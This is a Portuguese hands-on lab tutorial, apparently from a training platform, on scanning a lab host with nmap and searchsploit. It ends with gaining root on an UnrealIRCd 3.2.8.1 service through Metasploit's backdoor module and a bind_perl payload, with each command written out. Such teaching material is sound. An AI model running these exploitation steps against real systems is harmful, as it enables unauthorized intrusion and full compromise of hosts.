Introdução
O escaneamento de rede é uma disciplina extremamente prática. Por meio dele, os usuários podem descobrir as portas atribuídas a vários serviços no host alvo, serviços abertos, softwares de serviço e suas versões, além de outras informações.
Neste laboratório, você aprenderá a escanear vulnerabilidades de segurança em serviços de rede de um host alvo.
Utilizar o Nmap para Escanear Portas Abertas no Host Alvo
O fluxo de trabalho básico do escaneamento de rede é o seguinte:
- Descoberta do host alvo
- Escaneamento de portas
- Escaneamento de informações de impressão digital (fingerprinting)
- Escaneamento de vulnerabilidades
- Execução de ataques de intrusão
O Nmap (Network Mapper) é uma ferramenta poderosa de escaneamento de rede. Ele suporta várias técnicas de escaneamento, como UDP, TCP connect(), TCP SYN (escaneamento semiaberto), proxy FTP (ataque bounce), flag reversa, ICMP, FIN, ACK, SYN e escaneamento nulo.
Nesta etapa, você usará o Nmap para escanear as portas abertas no host alvo. A configuração do laboratório já iniciou o serviço vulnerável de treinamento em 192.168.122.102, portanto, seu escaneamento deve encontrar um host ativo em vez de relatar que o alvo está inativo.
- Abra um terminal e entre no container Kali:
docker run -ti --network host b5b709a49cd5 bash
- Use o comando
nmappara escanear o host alvo 192.168.122.102:
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt
Este comando escaneia a porta 6667 no host alvo, utiliza uma política de temporização mais rápida, habilita a detecção de versão e salva a saída em /tmp/report.txt.
Analisar os Resultados do Escaneamento
Após escanear o host alvo, você precisa analisar os resultados para identificar possíveis vulnerabilidades.
- Visualize o relatório de escaneamento:
cat /tmp/report.txt
Este comando exibe o conteúdo do arquivo /tmp/report.txt, que contém informações sobre as portas abertas, serviços e versões no host alvo. Um escaneamento bem-sucedido deve mostrar que o host está ativo e que a porta 6667 está aberta, de forma semelhante ao exemplo abaixo:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.
PORT STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd 3.2.8.1
Service Info: Host: labex-target
- Use a ferramenta
searchsploitpara pesquisar informações sobre vulnerabilidades:
searchsploit unreal ircd
Este comando pesquisa no Exploit Database por vulnerabilidades relacionadas ao serviço "unreal ircd". Aqui está um exemplo da saída que você pode ver:
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- Visualize os detalhes de uma vulnerabilidade:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
Este comando exibe o conteúdo do arquivo de exploração da vulnerabilidade localizado em /usr/share/exploitdb/exploits/linux/remote/16922.rb.
Explorar uma Vulnerabilidade
Após analisar os resultados do escaneamento e identificar possíveis vulnerabilidades, você pode tentar explorar uma delas para realizar um ataque de intrusão.
Identifique uma vulnerabilidade explorável a partir dos resultados do escaneamento. Por exemplo, vamos supor que o escaneamento encontrou a porta 6667 aberta com um serviço vulnerável.
Inicie o Metasploit Framework:
cd ~
msfconsole
- No console do Metasploit, selecione o módulo de exploração apropriado:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Defina o endereço IP do host alvo:
set RHOST 192.168.122.102
- Defina o payload:
set PAYLOAD cmd/unix/bind_perl
- Inicie a exploração:
exploit
Se a exploração for bem-sucedida, você obterá acesso ao host alvo.
- Após tentar explorar uma vulnerabilidade, você deve verificar se a exploração foi bem-sucedida. Na sessão do Metasploit, verifique o usuário atual e o hostname:
whoami
hostname
Se a saída mostrar que você está logado como usuário root, a exploração foi bem-sucedida. Neste laboratório, o serviço vulnerável é executado dentro de um namespace de rede isolado na VM de treinamento, portanto, a saída do hostname mostrará o nome da VM do LabEx atual em vez do nome de uma máquina convidada separada.
Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção
Resumo
Neste laboratório, você aprendeu o fluxo de trabalho básico do escaneamento de rede, que inclui a descoberta do host alvo, escaneamento de portas, escaneamento de informações de impressão digital, escaneamento de vulnerabilidades e a execução de ataques de intrusão. Você utilizou a poderosa ferramenta Nmap para escanear as portas abertas no host alvo e analisou os resultados para identificar possíveis vulnerabilidades. Além disso, aprendeu a pesquisar informações sobre vulnerabilidades usando a ferramenta searchsploit e como explorar uma vulnerabilidade usando o Metasploit Framework. Por fim, verificou o sucesso da exploração checando o usuário atual e o hostname no host alvo.
Por meio deste laboratório prático, você adquiriu experiência real no escaneamento de vulnerabilidades de segurança em serviços de rede e na execução de ataques de intrusão. Esse conhecimento é crucial para garantir a segurança de sistemas de rede e identificar riscos potenciais.



